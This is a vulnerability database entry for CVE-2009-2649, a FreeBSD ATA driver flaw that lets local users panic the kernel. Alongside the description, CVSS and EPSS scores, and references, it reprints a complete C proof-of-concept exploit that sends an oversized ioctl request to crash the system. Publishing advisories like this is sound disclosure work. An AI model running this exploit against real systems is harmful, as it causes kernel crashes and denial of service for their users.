CVE-2009-2649 : Detail

CVE-2009-2649

A01-Broken Access Control
0.04%V3
Local
2009-07-30
17h00 +00:00
2017-10-18
12h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

The IATA (ata) driver in FreeBSD 6.0 and 8.0, when read access to /dev is available, allows local users to cause a denial of service (kernel panic) via a certain IOCTL request with a large count, which triggers a malloc call with a large value.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-264 Category : Permissions, Privileges, and Access Controls
Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.

Metrics

Metrics Score Severity CVSS Vector Source
V2 4.7 AV:L/AC:M/Au:N/C:N/I:N/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 9134

Publication date : 2009-07-12 22h00 +00:00
Author : Shaun Colley
EDB Verified : Yes

/* atapanic.c * * by Shaun Colley, 13 July 2009 * * this panics the freebsd kernel by passing a large value to malloc(9) in one of * fbsd's ata ioctl's. tested on freebsd 6.0 and 8.0. you need read access to the * ata device in /dev to be able to open() the device. chain with some race condition * bug? * * - shaun * */ #include <sys/types.h> #include <sys/ioctl.h> #include <sys/stat.h> #include <fcntl.h> struct ata_ioc_requestz { union { struct { u_int8_t command; u_int8_t feature; u_int64_t lba; u_int16_t count; } ata; struct { char ccb[16]; } atapi; } u; caddr_t data; int count; int flags; int timeout; int error; }; #define IOCATAREQUEST _IOWR('a', 100, struct ata_ioc_requestz) int main() { struct ata_ioc_requestz evil; int fd; evil.count = 0xffffffff; fd = open("/dev/acd0", O_RDONLY); /* /dev/acd0 is one of my ata devices */ ioctl(fd, IOCATAREQUEST, &evil); /* should never reach here if kernel panics */ return 0; } // milw0rm.com [2009-07-13]

Products Mentioned

Configuraton 0

Freebsd>>Freebsd >> Version 6.0

Freebsd>>Freebsd >> Version 8.0

References

http://www.securitytracker.com/id?1022538
Tags : vdb-entry, x_refsource_SECTRACK
https://www.exploit-db.com/exploits/9134
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securityfocus.com/bid/35645
Tags : vdb-entry, x_refsource_BID